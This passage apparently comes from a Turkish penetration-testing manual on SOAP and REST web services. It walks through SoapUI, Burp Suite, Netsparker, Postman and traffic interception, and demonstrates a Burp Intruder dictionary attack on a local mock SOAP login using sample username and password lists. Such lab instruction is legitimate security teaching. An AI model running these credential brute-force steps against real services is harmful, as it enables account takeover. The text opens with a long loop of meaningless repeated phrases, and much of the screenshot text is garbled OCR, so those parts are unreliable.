the services and information from the REST Project New REST Project Creates a new REST Project in this workspace UNIT [TD] interplot contract, reparticular it is some form if the contract of a distance is a distance in the contract of a distance is a contract of a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance is a distance in the contract of a distance in the contract of a distance in the contract of a distance in the contract of a distance in the contract of a distance in the contract of a distance in the contract of a distance in the contract of a distance in the contract | | |

Ardından SOAP ve REST web servisin arayüzü / kapsamı sol sütunda listelenecektir ve sol sütunda listelenecek örnek xml taleplerini kurcalayıp göndererek alınacak xml yanıtları gözlemlenebilir.

Ayrıca daha nitelikli test için SoapUI ayarlarından proxy ayarı girilebilir ve arayüz / kapsam yüklemesi sonrası sol sütunda sıralanacak örnek xml taleplerini gönder dendindiğinde Burpsuite ile paketi alıp paketin başlıklarında ve gövdesinde kurcalamalar yaparak repeater'da, fuzzing yaparak intruder'da güvenlik testleri uygulanabilir.

Sonuç olarak SoapUI'da web servis testleri için iki seçenek vardır. SOAP ve REST. SOAP projesi oluştur dendiğinde WSDL dosyası istenmektedir. REST projesi oluştur dendiğinde isteğe bağlı olarak WADL dosyası istenmektedir.

WSDL: Web Services Description Language // SOAP'ın Definition Dosyası WADL: Web Application Definition Language // REST'in Definition Dosyası

5.2.2 Burpsuite Yazılımı

Burpsuite'te "wsdler" isimli eklenti yardımıyla soap web servislere ve url adresi yoluyla rest web servislere güvenlik testi uygulanabilmektedir.

Soap web servisler için burpsuite wsdler eklentisi burpsuite'e yüklenerek hedef soap web servislerin arayüzü / kapsamı hedef web servis adresindeki wsdl dosyası ile alınabilir ve oluşan örnek xml talep paketleri üzerinden repeater'da, intruder'da,... detaylı güvenlik testleri uygulanabilir. Burpsuite wsdler eklentisi kullanımı öncelikle burpsuite'e yüklenmesi, sonra hedef soap web servisteki wsdl dosyasının yer aldığı url'e talep yapılması ve yakalanan talep paketine sağ tık yapıp "Parse WSDL" yapma şeklindedir. Bu şekilde Burspuite Wsdler sekmesinde hedef soap web servisin arayüzü / kapsamı gelecektir ve örnek xml talepleri listelenecektir. Bu örnek xml taleplerin paket başlıklarını ve gövdesini kurcalayarak repeater'da ve fuzzing ile intruder'da güvenlik testleri uygulanabilir.

Bilgi:

Burpsuite wsdler eklentisi sadece wsdl 1.1 spesifikasyonundaki wsdl dosyaları destekliyor ve parse edebiliyor. 1.2 ve 2.0 için henüz desteği bulunmamakta. Bu nedenle wsdl dosyası olsa da sürüm desteklememesinden dolayı wsdl dosyasını parse edemeyebiliriz. Bu nedenle wsdl dosyasını SoapUI'de yükleyip örnek xml taleplerini SoapUI'de proxy ayarıyla burp'e yönlendirerek bu sorunu aşabiliriz ve test uygulayabiliriz. Burpsuite wsdler eklentisi SoapUI ihtiyacını kaldırmak için, ve SoapUI olmadan burspuite'te soap web servisleri test etmek için var olmuştur.

Rest web servisler için burpsuite'te rest web url adresi üzerinden güvenlik testi yapılmaktadır. Bunun için rest web servisin url listesine ihtiyaç vardır. Rest web serviste bir url için talep paketini alıp paket başlıkları ve gövdesini kurcalayarak repeater'da, fuzzing ile intruder'da güvenlik testleri uygulanabilir.

Not: Burpsuite "WSDL Wizard" eklentisi hedef soap web servisinde wsdl url keşfi yapmak için kullanılır.

Burpsuite ile soap ve rest web servis güvenlik testleri pratik uygulaması bu dökümanda uygulama başlığı altında gösterilmiştir.

5.2.3 Netsparker Yazılımı

Netsparker ile soap ve rest web sevisler taranabilmektedir. Ancak netsparker için web servislerin arayüzü / kapsamı alınabilmelidir. Bu şekilde arayüz / kapsam (url listesi, parametreler ve hangi http metodunun hangi url'de kullanıldığı v.b. bilgiler) netsparker'a verilerek url listesi üzerinden

saldırı testi başlayabilecektir.

Örneğin soap web servisler Netsparker'da Import Links seçeneğinden WSDL dosyasını okutturarak arayüzün / kapsamın dahil edilmesiyle taranabilmektedir.

| Start a New Website or Web Se | rvice Scan 🗆 X | |
|-------------------------------|---|-----|
| Target Website or Web Servi | e URL | |
| https://php.testsparker.com/ | - 🖵 Default - | |
| Options | | |
| Scan Settings | Imported Links | |
| 🔑 General | 🔂 Add 🖉 Edit 💥 Delete 📑 Clear 📿 Search Import From File - Enter Links | |
| O Scope | Method URL 😤 ASP.NET Project File | |
| Additional Websites | Burp | |
| Market Links | Comma Separated Values (CSV) | |
| G UKL Kewrite | • Fiddler | |
| Authentication | HTTP Archive | |
| Form | I/O Docs | |
| Basic, NTLM/Kerberos | 1 Netsparker Session File | |
| 🔚 Header | OWASP ZAP | |
| Client Certificate | 🖉 Postman | |
| | RAML | |
| G OAUTH2 | i) Scan scope rules will be applied to imported lin | |
| | (Web Application Description Language (| NAD |
| | Web Service Definition Language (WSDL) | |
| | WordPress REST API | |

Örneğin REST web servisler netsparker'da şu üç yolla taranabilir:

- i) Arayüz / Kapsam dosyası Import Links seçeneğinden manuel olarak import edilerek,
- ii) Doğrudan tararken otomatik web servisi keşfedilerek,
- iii) Ham Http Talep paketini Import Links seçeneğinden manuel olarak import edilerek

i) Arayüz / Kapsam dosyaları (WADL, OpenAPI(Swagger), I/O Docs, RAML tanımlama dosyaları) Netsparker'ın Import Links seçeneğinden eklenerek rest web servis arayüzü / kapsamı belirlenebilir ve saldırı testi uygulanabilir.

| Start a New Website or Web Serv | vice Scan | □ × |
|---------------------------------|--------------------------------------|---|
| Target Website or Web Service | URL | |
| https://php.testsparker.com/ | | - 💭 Default - |
| Options | | |
| Scan Settings | Imported Links | |
| 📌 General | 🕂 Add 🧹 Edit 💥 Delete 🗟 Clea | Q Search Import From File Enter Links |
| Scope | Method URL | ASP.NET Project File |
| Additional Websites | | Burp |
| Imported Links | | Comma Separated Values (CSV) |
| 🧐 URL Rewrite | | Fiddler |
| Authentication | | HTTP Archive |
| E Form | | I/O Docs |
| 🔑 Basic, NTLM/Kerberos | | Netsparker Session File |
| 📒 Header | | OWASP ZAP |
| Client Certificate | | Rostman |
| Smart Card | | |
| OAuth2 | (i) Scan scope rules will be applied | o imported lin |
| | | Web Application Description Lang |
| | | Web Service Definition Language |
| | | WordPress REST API |

(REST Web Servis Arayüzünü / Kapsamını Dahil Etme)

| Target Website or Web Servi | ce URL | |
|-----------------------------|----------|---|
| http://www.example.com/ | | - 🖵 Previous Settings |
| Options | | |
| Scan Settings | Imported | llinks |
| & General | 🔂 Add 🤞 | 🕈 Edit 🗙 Delete 👔 Clear 🔍 Search 🛛 Import From File 👻 Enter Links |
| Scope | Method | URL |
| 🖇 Additional Websites | GET | http://localhost:5000/ |
| Imported Links (8) | GET | http://localhost:5000/v2.0 |
| 🕻 URL Rewrite (1) | GET | http://localhost:5000/v2.0/extensions |
| | GET | http://localhost:5000/v2.0/extensions/_NS_ |
| luthentication | POST | http://localhost:5000/v2.0/tokens |
| Form | POST | http://localhost:5000/v2.0/tokens |
| Basic, NTLM/Kerberos | GET | http://localhost:5000/v2.0/tenants?limit▮ |
| Header | GET | http://localhost:5000/v2.0/tenants?limit▮ |
| D Client Certificate | | |
| | | |
| Smart Card | | |
| OAuth2 | (i) Scan | scope rules will be applied to imported links during the scan. |
| | | |

(URL Listesi Belirlenmiş ve Taramaya Hazır REST Web Servisi Örneği)

URL listesi belirlenmiş rest web servisi bu şekilde taranabilecektir.

ii) Otomatikmen doğrudan url adresi vererek de rest web servisler taranabilmektedir. Eğer bu şekilde rest web servis netsparker tarafından otomatik tespit edilebiliyorsa rest web servisi bu şekilde de taranabilir (Not: Netsparker'ın demo rest web servisi bu şekilde tespit edilip taranabilmektedir: http://rest.testsparker.com/)

iii) Son olarak rest web servise dair bir talep paketi örneğin Burpsuite ile alınarak Netsparker'a Import Links seçeneği içerisinde Add ikonundan Raw sekmesine gelerek eklenebilir ve tarama bu paket üzerinden yürütülebilir.

| | Start a New Website or Web Service Sca | n | | × |
|---|--|--|------------|---|
| | Target Website or Web Service URL | | | |
| | http://rest.testsparker.com/ | - 🛒 😳 💽 Previou | s Settings | • |
| | Options | | | |
| | Scan Settings | ported Links | | |
| | General Scope Additional Websites Imported Links URL Rewrite Pre-Request Script | Add 🖉 Edit 💥 Delete 📑 Clear 🔍 Search Import From File - Er | nter Links | - |
| | Authentication Image: Source of the second secon | | | |
| | Header Client Certificate Smart Card OAuth2 | Some scope rules will be applied to imported links during the scop | | |
| 1 | Y ^{ee} Manual | Crawl and Wait * | Cance | |

(Ham Http Talebi Yükleme 1)

| Add New Link | × |
|--|--------|
| Builder Raw Hex View | |
| 1 GET / TTP/1.1 2 Host: rest.testsparker.com 3 | |
| Save | Cancel |

(Ham Http Talebi Yükleme 2)

Bu metotta raw http paketi alabilmek için web servisi tüketen / kullanan uygulama gereklidir. Bu uygulama trafiği wireshark ile dinlenebilir ve web servis web sunucu adresi filtrelemesine giderek raw http paketler "follow tcp stream" ile elde edilebilir. Böylece ham http paketler Netsparker'a eklenerek (veya burpsuite'te repeater'a eklenerek ve oradan intruder'a giderek) tarama

yürütülebilir. Ayrıyeten web servisi tüketen / kullanan uygulama için proxy ayarı girilebilirse Burpsuite'e gelen paketler Netsparker'a eklenerek tarama yürütülebilir.

Netsparker ile soap ve rest web servis güvenlik testleri pratik uygulaması bu dökümanda uygulama başlığı altında gösterilmiştir.

5.2.4 Postman Yazılımı

Alternatif olarak kolay ve esnek bir kullanım arayüzüne sahip Postman yazılımı ile de web servisi güvenlik testleri uygulanabilir. Gerek windows gerek linux sürümü mevcut olan, web api kapsam formatlarında yeterince desteğe sahip, kapsam yüklemesi sonrası oluşan http paketlerinin bir sütunda listelendiği ve bu paketlerin kurcalanarak gönderilebilidiği bir araçtır. SOAP için wsdl kapsam dosyası, REST için wadl, swagger, ... kapsam dosyalarını destekler.

Postman ile soap ve rest web servis güvenlik testleri pratik uygulaması bu dökümanda uygulama başlığı altında gösterilmiştir.

5.2.5 Web Tarayıcı Eklentileri

Çeşitli web tarayıcı eklentileri ile soap ve rest web servis güvenlik denetimleri uygulanabilir. Örneğin;

- Boomerang Soap and Rest Client (Chrome Eklentisi)

eklentisi yardımıyla hedef web servis soap için wsdl, ve rest için wadl, swagger,... parse işlemi uygulanabilir ve oluşacak örnek xml / json talepleri kullanılarak testler yürütülebilir.

Boomerang Soap and Rest Client ile soap ve rest web servis güvenlik testleri pratik uygulaması bu dökümanda uygulama başlığı altında gösterilmiştir.

5.2.6 Wireshark Yazılımı

Web servis testlerinde eğer web servis arayüzü / kapsamı dosyası mevcut değilse web servis geliştiricisinden web servisi tüketen / kullanan uygulama istenebilir. Kullanılan uygulama masaüstü uygulama ise uygulamayı kullanırken oluşan trafik wireshark ile okunabilir ve web servis web sunucu adresi filtrelemesine gidilerek "follow tcp stream" ile uygulamanın web servise yaptığı ham http talepler alınabilir. Bu ham http talepler Burpsuite'te örneğin repeater'a atılarak, veya Intruder'a gönderilerek testler yürütülebilir veya Burpsuite'te "Do Active Scan" seçeneği ile otomatize açıklık taraması yapılabilir. Ayrıca ham http paketi Netsparker'a veya OWASP ZAP'a atılarak sadece belirtilen ham paket üzerinden otomatize açıklık taramaları yürütülebilir. Bu seçenek web api kapsam dosyasının var olmadığı durumlarda kullanılabilecek bir alternatiftir. Testler wireshark'tan elde edilen kapsam kadar uygulanır.

5.2.7 Proxy Ayarı

i) Sistem Proxy Ayarı Girme Çözümü

Web servisini tüketen uygulama masaüstü uygulama olduğu zaman ve web servis kapsam dökümanına sahip değilsek kapsam elde edebilmek için Windows, Linux veya MacOS işletim sistemlerinde sistem proxy ayarı localhost:8080 girilebilir ve Burpsuite localhost 8080'de çalıştırılabilir. Sistemdeki tüm internet trafiği üreten yazılımların trafiği Burpsuite ekranına düştüğünde içlerinden web servis sunucusuna giden trafik filtrelenebilir ve o paketler üzerinden (o kapsam üzerinden) testler yürütülebilir. Testler elde edilen kapsam kadar uygulanır.

ii) /etc/hosts veya C:\Windows\System32\drivers\etc\hosts Dosyası Çözümü

Web servisini tüketen masaüstü bir uygulama olduğu zaman ve web servis kapsam dökümanına sahip olmadığımız zaman kapsam elde edebilmek için hosts dosyasına web servis sunucu adresi ve karşılığında localhost girilebilir;

hosts:

•••

webapidomainaddress.com localhost

ardından burpsuite localhost'ta çalıştırılarak tüketicinin paketleri (kapsam) elde edilebilir. Bu işlem için linux sistemlerde /etc/hosts dosyası yukarıdaki gibi düzenlenir, windows sistemlerde C:\Windows\System32\drivers\etc\hosts dosyası yukarıdaki gibi düzenlenir. Testler elde edilen kapsam kadar uygulanır.

5.3 Web Servisler Nasıl Test Edilir (Uygulamalı Gösterim)

Bu başlık altında web servis / web api güvenlik testleri yapan başlıca araçların demo'ları gösterilecektir.

5.3.1 SoapUI Yazılımı

Bu uygulamada SoapUI kullanılarak SoapUI tutorials'lardaki demo bir soap web servisi projesi açılacaktır ve bu soap web servise güvenlik testi uygulama örneği gösterilecektir.

Kullanılan Materyaller

| Ubuntu 18.04 LTS | // Fiziksel Makine |
|------------------|-----------------------------|
| SoapUI v5.6.0 | // Web Servis Test Yazılımı |
| Burpsuite | // Proxy Yazılımı |

Not: Ubuntu 18.04 LTS'ye SoapUI kurulumu için bkz. <u>SoapUI Web Servis Güvenlik Testi</u> Yazılımını Linux'a (Ubuntu 18.04 LTS'ye) Kurma.

Not 2: Ubuntu 18.04 LTS'ye Burpsuite kurulumu için bkz. <u>Burpsuite'i Linux (Ubuntu</u> 18.04 LTS) <u>Sisteme Kurma</u>

SoapUI yazılımını başlatalım.

// SoapUI Çalıştırma

Ubuntu 18.04 LTS Terminal:

> cd SoapUI-5.6.0/bin/ > ./SoapUI-5.6.0 (Email kaydı atlanabilir)

Çıktı:

| | | Solpor S.e.o | |
|---|--|--|-----------------------|
| Ele Project Suite Case Step Tool Empty SOAP REST Import Sa | is Desktop Help 19 5 10 10 10 ave All Forum Trial Preferen | es Proy | Search Forum a Online |
| Turlasce Proprins Turlasce Proprins Turlasce Proprins Propert Turlasce Proprints Propert Turlasce Proprints Propert Turlasce Proprints | Sequel Start Page Henre: You're getting this message Internet. Without an internet Web Service testing. Usually, this is where you we and other relovant information and other relovant information The Second Second Second Second Second The Second Second Second Second Second The Second Second Second Second Second The Second Secon | since your composer is offine and SappUI cart access the connection, you right experience some saues when performing and see the SospUI start page, which includes the latest news | |

SoapUI'de tutorials olarak verilen demo soap web servisi projesini SoapUI proje import'tan ekleyelim ve soap web servise bir sızma testi uygulaması yapalım.

SOAP Örnek Web Servisi SoapUI Proje Dosyası Konumu: /SoapUI-Tutorials/



Import ile soapui proje dosyası yüklenir ve örnek soap web servisi arayüzü / kapsamı sol sütunda listelenir.



Bu uygulamada hedef soap web servisini canlı hale (çalışır hale) getirmek için localhost'ta bir web sunucu ayağa kaldırılması gerekmektedir. Normal şartlarda buna gerek olmayacaktır. Çünkü normal şartlarda hedef web servisi uzak bir yerden zaten çalışır olacaktır. Bu normal duruma göre ekstra konumundaki adım ile demo soap web servisi localhost'ta ayağa kaldırılır. Bunun için sol sütunda sıralı seçeneklerden "ServiceSoapBinding MockService"e çift tıklanır ve MockService'i başlatılır.

| Activities | 😑 com-install4j-runtime-launcher-UnixLauncher 🕶 | Cts 1643 | 😵 🕻 😤 🖷 🖯 | * |
|------------------|---|--|---|-------------|
| | i | SoapUI 5.6.0 | 80 | 8 |
| Efe | Project Suite Case Step Tools Desktop Help | A B : : | | |
| • 🧐 💡 | Empty SOAP REST Import Save All Forum Tr | Indpoint Explorer | Search Forum Ø Online Help | |
| - 📫 🐻 | | SoapUI Start Page | ಕರ ಹ | 2 |
| | <pre>with ample SOMP Project Cree branches SOMP Project Cree branches SOMP Project Cree branches branch</pre> | Soupel Skart Foge Soupel Skart Foge Soupel Skart Foge Soupel Skart Foge Soupel Skart Foge Des., Pro., Star., Sta., Onlega., Afterleq., Des., Pro., Star., Sta., Onlega., Afterleq., Des., Pro., Star., | ars-weggegeosen (H1171.1 ars-weggegeosen (H1171.1 arsu-form (n See (354 bytes)) | Inspector 1 |
| Activitie | Com-Snite Lifeyuniane-Launcher-UnixLauncher Propet: Suite Case Step Tools Besitop Help Dia | CES 1045 SaapUI 5.6.0 | ि ६ र स २ २ Search forum हे online Help हे में में कि | Inspector |
| F 2 \$ | # Isopie TestSuite # ITestSuite is five don't get faults # ITestSuite faults # ItestSuite isopie faults # ItestSuite # ServiceScopBinding MockService # ☆ login # ☆ login | े seach © buy | | |

Böylece göndereceğimiz örnek xml talepleri hedefine gidebilecektir ve yanıt alınabilecektir. Şimdi demo soap web servisi teste hazırdır. Sol sütunda sıralı örnek xml taleplerinden login parametreli olanı gönderelim ve yanıtı gözlemleyelim.



Örnek Xml Taleplerinden Biri Seçilir

| | | C 2 6 1 - |
|--|--|--|
| SoapUI 5.6.0 | | 00 |
| p | Search Forum | ilia 🤨 Online Help |
| 🔢 login rq | | a t 🗵 👔 |
| ▶ 🏕 🕸 🖾 🖬 🏦 III 📰 [http://127.0.0.1:8088/mockServiceSoap8inding | | 💌 11 + 😥 |
| Adh Reder (2) Arachemet (2) VEA VEM 10 insates 20 insat | | 150 (1997) - 1972) - 1972 - 19 |
| | Anthe Headers (1) Attachments (2) WTA WTAM (20 Headers, pol Property (2) Texpond to (2) Attachments (2) WTA WTAM (20 Headers, pol Property (2) Attached (2) Attached (2) WTA WTAM (2) Headers, pol Property (2) Property (2) Attached (2) MTA | Texture of the second secon |

Seçilen Xml Talebi Soap Web Servise Gönderilir ve Yanıt Alınır

Bu xml talep paketinde bir login olma isteği yapılmaktadır. Kullanıcı adı ve parola bilgisi talep paketinin gövdesinde xml node'ları halinde gönderilmektedir. Gelen yanıt ise oturumun açıldığına dair session id'nin yanıt paketi gövdesinde xml node'ları halinde gelmesidir.

Login mekanizmasını test etmek maksatlı login olma isteği olan talep paketindeki xml node'larından parola bilgisini geçersiz bir parola yapalım ve talep paketini tekrar gönderelim.



Görüldüğü gibi girilen kullanıcı bilgileri geçersizdir yanıtı soap web servisten yanıt olarak gelmiştir. Bu şekilde talep paketinin gövdesindeki xml node'ları kurcalanarak veya url'inde var olabilecek parametreler kurcalanarak gelen yanıt paketleri incelenebilir ve güvenlik testleri yürütülebilir.

Ayrıca SoapUI'nin sunduğu proxy ayarı kullanılarak paketler Burpsuite proxy'sine yönlendirilebilir ve Burpsuite'te otomatize daha detaylı güvenlik testleri uygulanabilir. Örneğin login isteği olan xml talep paketi için proxy ayarı ile Burpsuite'e alınabilir ve paketin gövdesindeki ilgili xml node'ları Intruder'da işaretlenerek brute force ve dictionary saldırısı düzenlenebilir. Böylece örnek xml talebi login isteği paketi ile bir soap web servisine brute force / dictionary saldırısı yapılabilir ve hesap ele geçirilebilir. Bu örneği gerçeklemek için SoapUI'deki gönderilen paketleri Burpsuite'e yönlendirelim.

Öncelikle SoapUI'nin SoapUI->File-Preferences->Proxy settings-> seçeneklerine gidilir ve SoapUI'de proxy ayarı girilir.



SoapUI Proxy Ayarı Girilir

Not:

Proxy ayarı 8082 girilir, çünkü 8080'de localhost'ta ayağa kaldırılan tutorials'daki demo soap servisi çalışmaktadır.

| ivities 🛛 😣 com-install4j-runtime-launcher-UnixLauncher | | | 😴 🕻 र 📢 🕣 |
|---|---|--|--|
| | SoapUI 5.6.0 | | |
| Ele Project Suite Case Step Iools Desktop Help | a Preferences Prov | Search Forum | dit 🥹 Online Hel |
| | 19 Janin ra | | * C 🗵 |
| 1 Projects | ► V II FI D L II Thttp://127.0.0.1.8088/mockServiceScap8inding | | 1 = + 0 |
| | Automatic (a) Attachments (a) WA WSM Job Inadors (b) Property (c) | and in some "Mitp / / we with and in some "Mitp / / we with and in some "Mitp / / we with and and and and and and and and and and | hamp, regramp/enned gap/* miles anne a |

Sayfa 31 / 167

(SoapUI 'de Proxy Açık Durumdadır)

Ardından Burpsuite yazılımı localhost 8082'de çalıştırılır. Böylece SoapUI arayüzünden login isteği yapan xml talep tekrar gönderildiğinde paketi Burpsuite yakalar.



Şimdi login olma isteği paketini geçerli hesap bilgileriyle gönderdiğimizde gelen yanıt paketini Burpsuite repeater'dan görelim.

Not:

Geçerli hesap bilgileriyle proxy ayarı girmeden önce talep paketi gönderildiğinden localhost'ta ayağa kaldırılmış web sunucuda oturum açıktır. Bu nedenle xml login isteği talep paketi repeater'dan gönderildiğinde ve yanıt paketine bakıldığında sessionID gelmesi yerine zaten oturum açık yanıt mesajı gelecektir. Bu nedenle localhost'ta ayağa kaldırdığımız web sunucuyu SoapUI sol sütundan "ServiceSoapBinding MockService" eçift tık yapıp restart'layarak login isteği xml talebini tekrar gönderdiğimizde oturumun yeni açılışında gelen yanıt paketini görebiliriz.



Dönen pakette sessionid xml node'u yer almaktadır. Yani session gelmektedir. Geçersiz bir hesap ile talep paketini gönderdiğimizde ise gelen yanıt paketini görelim.

| Burp Suite Community Editio | n v1.7.36 - Temporary Project 💿 🙁 😣 |
|--|---|
| Burp Intruder Repeater Window Help | |
| Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Compare | Extender Project options User options Alerts |
| 1 × 2 × 3 × | |
| Go Cancel < Y > Y | Target: http://127.0.0.1:8088 📝 🙎 |
| Request | Response |
| Raw Params Headers Hex XML | Raw Headers Hex XML |
| <pre>POGT //wclSarviceSapsBinding HTTP/1.1 Accept-Encoding:gpin, deflate: Content-Type: TextYxNi;charsetuTF-8 SuBAPction: "http://wclSangui.org/sample/login" Content-Length: 283 Host: 127.0.0.130088 User-Agent: Apache-HttpClient/4.5.5 (Java/11.0.11) Connection: close <pre> <asappent:boylogine username=""> <asappent:body <asamlogine="" <asamlogine<="" th=""><th><pre>HTTP:/ll 200 0K Content-Ipe: text/xwl; charsst=utf-8 Content-Length: 308 Content:Length: 308 Content:Length: 308 Server: Jetty(6.1.26) «soapenv:Enultp: «soapenv:Enultp: «soapenv:Fulltp: «soapenv:Fulltp: «soapenv:Fulltp: «soapenv:Fulltp: «soapenv:Fulltp: «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts (soapenv:Fullts)</pre></th></asappent:body></asappent:boylogine></pre></pre> | <pre>HTTP:/ll 200 0K Content-Ipe: text/xwl; charsst=utf-8 Content-Length: 308 Content:Length: 308 Content:Length: 308 Server: Jetty(6.1.26) «soapenv:Enultp: «soapenv:Enultp: «soapenv:Fulltp: «soapenv:Fulltp: «soapenv:Fulltp: «soapenv:Fulltp: «soapenv:Fulltp: «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts «soapenv:Fullts (soapenv:Fullts)</pre> |
| | |
| ? < + > Type a search term 0 matches | ? < + > Type a search term 0 matches |
| 0010 | 403 0ytes 20 millio |

Dönen pakette geçersiz hesap bilgisi hatası yer almaktadır. Buradaki hata ifadesini brute force / dictionary saldırısında flag (bayrak) olarak alabiliriz ve denenen olası hesaplardan başarısız olanlar bu flag'i (bayrağı) tick'lesin, başarılı olan ise bu flag'i (bayrağı) tick'lemesin yapabiliriz. Bu şekilde denenen geçerli hesap bilgisi ele geçirilebilecektir.

Repeater'daki login olma isteği paketini Intruder'a yollayalım ve paketin gövdesindeki kullanıcı

adı ve parola xml node'larını brute force / dictionary denenecek yerler olarak işaretleyelim.



Ardından iki adet olasiKullanıcıAdlari.txt ve olasiParolalar.txt dosyası oluşturalım ve içlerine rastgele kullanıcı adları ve parolalar ile dolduralım. olasiKullanıcıAdlari.txt dosyasında bir kullanıcı adını doğru girelim: Login. olasiParolalar.txt dosyasında da bir parolayı doğru girelim: Login123.

olasiKullaniciAdlari.txt deneme abc xyz Login // Doğru Olan qwerty olasiParolalar.txt parolam1 pass123 parola12* Login123 // Doğru Olan deneme123

İşaretli alanlara payload'ları koyalım ve ardından yanlış hesap bilgisi denendiğinde gelen hatayı flag yapalım.

| Burp Suite Community Edition v1.7.36 - Temporary Project 🛛 😑 💿 🥥 | | | | |
|---|--|--|--|--|
| Burp Intruder Repeater Window Help | | | | |
| Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts | | | | |
| | | | | |
| Target Positions Payloads Options | | | | |
| Payload Sets You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways. Payload set: 1 Payload count: 5 | | | | |
| Payload type: Simple list Request count: 0 | | | | |
| Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as payloads. | | | | |
| Load yz | | | | |
| Remove querty Clear | | | | |
| Add Enter a new item Add from list [Pro version only] | | | | |
| | | | | |
| Payload Processing You can define rules to perform various processing tasks on each payload before it is used. | | | | |
| Add Enabled Rule | | | | |
| Remove | | | | |
| Up Down | | | | |
| Payload Encoding | | | | |

Olası Kullanıcı Adı Listesi Birinci Payload Olarak Belirlenir

| Burp Suite Community Edition v1.7.36 - Temporary Project 🕒 🕒 🖗 | | | | |
|--|--|--|--|--|
| Burp Intruder Repeater Window Help | | | | |
| Target Proxy Spider Scanner intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts | | | | |
| | | | | |
| Target Positions Payloads Options | | | | |
| Payload Sets You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways. | | | | |
| Payload set: 2 Payload count: 5 Payload type: Simple list Request count: 25 | | | | |
| Payload Options [Simple list] This payload type lets you configure a simple list of strings that are used as payloads. | | | | |
| Paste parolam1 pass123 parola12* Login123 deneme123 | | | | |
| Add Enter a new item Add from list (Pro version only) • | | | | |
| Payload Processing You can define rules to perform various processing tasks on each payload before it is used. | | | | |
| Add Enabled Rule Edit | | | | |
| Remove Up Down | | | | |
| Pavload Encoding | | | | |

Olası Parolalar Listesi İkinci Payload Olarak Belirlenir

| Burp Suite Community Edition v1.7.36 - Temporary Project | • • • |
|---|-------|
| Burp Intruder Repeater Window Help | |
| Target Proxy Spider Scanner intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts | |
| | |
| Target Positions Payloads Options | |
| Attack Results Itses settings control what information is captured in attack results. Itses settings control what information is captured in attack results. Itses settings control what information is captured in attack results. Itses settings control what information is captured in attack results. Itses settings control what information is captured in attack results. Itses settings control what information is captured in attack results. Itses denial-of-service mode (no results) Itses settings control what information is captured in attack results. | × |
| Cere - Match Fases estings can be used to flag result items containing specified expressions. Faste Paste Invalid Login Add Invalid Login Invalid Log | |
| Match type: Simple string Regex Case sensitive match Exclude HTTP headers Grep - Extract These settings can be used to extract useful information from responses into the attack results table. Extract the following items from responses: | |
| Add | ¥ |

Geçersiz Kullanıcı Hesabı Denemelerinde Invalid Login bayrağı Tick'li Olsun Denir

| | Burp Suite Community Edition v1.7.36 - Temporary Project |) 🕕 😣 |
|------|--|-------|
| Burp | intruder Repeater Window Help | |
| Tarç | et Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts | |
| 1 × | 2 × | |
| Tarç | et Positions Payloads Options | |
| ? | Request Headers Start attact These settings control whether intruder updates the configured request headers during attacks. Image: Content-Length header ✓ Update Content-Length header ✓ Set Connection: close | :k |
| ? | Request Engine These sattings control the engine used for making HTTP requests when performing attacks. Note: Some of these options are not available in the Community Edition of Burp. Number of threads: 1 | |
| | Pause before retry (milliseconds): 2000 Throttle (milliseconds): Fixed Variable: start 0 step 20000 | |
| | Start time: Immediately Imme | |
| ? | Attack Results These settings control what information is captured in attack results. Store requests Store responses Make unmodified baseline request Use denial-of-service mode (no results) Store full payloads | |
| ? | Grep - Match These settings can be used to flap result items containing specified avpressions | - |

Saldırı Başlatılır
| | | | | | | Burp Suit | e Commu | nity Edition | v1.7.36 - T | rempora | ary Projec | t | | | | • • | 8 |
|------|------------------------------|---|-----------------------|--|-------------|----------------|-------------|--------------|-------------|---------|------------|--------------|---------------------|-----------|-----|--------------|---|
| Burp | Intruder Re | peater | Window H | elp | | | | | | | | | | | | | |
| Targ | get Proxy | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Projec | t options | User options | Alerts | | | | |
| | | | | | | | | | | | | | | | | | - |
| - | | | | | | | | Intruder at | tack 1 | | | | | | 8 | | _ |
| Tar | get Position | Attac | k Save Co | olumns | | | | | | | | | | | | | |
| 2 | Request | Resi | ilts Targe | t Position | s Pavloar | ls Options | 1 | | | | | | | | | Start attack | - |
| | These settir | | | | | | | | | | | | | | | Start attack | |
| G | a | Filter: | Showing a | ll items | | | | | | | | | | | 2 | | 1 |
| | Update | Reque | est 🔻 Pay | load1 | | Payload2 | 2 | s | tatus | Error | Timeout | Length | Invalid Logir | n Comment | | | 1 |
| | Set Con | 21 | den | eme | | deneme | 123 | 2 | 00 | | | 489 | V | | | | 1 |
| | | 20 | qwe | rty | | Login123 |) | 2 | 00 | | | 489 | ✓ | | | | |
| ? | Request | E 19 | Log | in | | Login123 | 3 | 2 | 00 | | | 503 | | | | | |
